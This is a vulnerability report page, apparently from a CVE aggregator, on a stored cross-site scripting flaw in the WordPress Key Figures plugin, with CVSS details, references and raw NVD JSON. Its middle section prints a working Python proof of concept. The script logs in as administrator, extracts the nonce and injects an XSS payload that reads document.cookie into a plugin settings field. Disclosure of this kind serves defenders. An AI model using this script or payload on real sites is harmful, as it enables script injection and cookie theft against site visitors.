Security Vulnerability Report
中文
CVE-2025-14792 CVSS 4.4 MEDIUM

CVE-2025-14792

Published: 2026-01-07 12:16:56
Last Modified: 2026-04-15 00:35:42

Description

The Key Figures plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the kf_field_figure_default_color_render function in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Key Figures插件 <= 1.1(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-14792 PoC - WordPress Key Figures Plugin Stored XSS # Target: WordPress site with Key Figures plugin <= 1.1 target_url = "http://target-wordpress-site.com" admin_path = "/wp-admin/admin.php?page=key-figures-settings" # Malicious XSS payload xss_payload = '<img src=x onerror=alert(document.cookie)>' # Authentication (Administrator credentials required) session = requests.Session() login_data = { 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': admin_path } # Step 1: Login to WordPress admin panel login_url = f"{target_url}/wp-login.php" response = session.post(login_url, data=login_data) # Step 2: Access Key Figures plugin settings settings_url = f"{target_url}{admin_path}" settings_page = session.get(settings_url) # Step 3: Extract nonce for form submission import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', settings_page.text) if nonce_match: nonce = nonce_match.group(1) else: print("Nonce not found") exit(1) # Step 4: Submit form with XSS payload post_data = { '_wpnonce': nonce, 'kf_field_figure_default_color': xss_payload, 'kf_save_settings': 'Save Changes' } response = session.post(settings_url, data=post_data) print("XSS payload injected successfully") print("Payload will execute when any user visits affected pages")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14792", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:56.177", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Key Figures plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the kf_field_figure_default_color_render function in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "http://plugins.trac.wordpress.org/browser/key-figures/tags/1.1/admin/kf-admin.php#L201", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f4943899-a25a-4e50-b33e-139ed5e8f748?source=cve", "source": "[email protected]"}]}}